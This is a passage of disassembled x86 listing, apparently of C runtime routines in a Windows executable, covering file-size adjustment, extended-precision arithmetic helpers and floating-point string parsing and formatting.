XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DC5E0, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DB5C8 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DB5C8 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DB5C8 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DC5E0 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DC700 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC600[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB2AC, 5 jnz short loc_424FDC mov dword_4DB2A8, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax nop call near ptr 2600000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB2A8, 0Dh nop call near ptr 26807C8h mov dword_4DB2AC, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB2A8, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43C538 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43C538 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43C538 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43C534, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43C538 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43C534, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43C534, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43C534, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43C534, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call 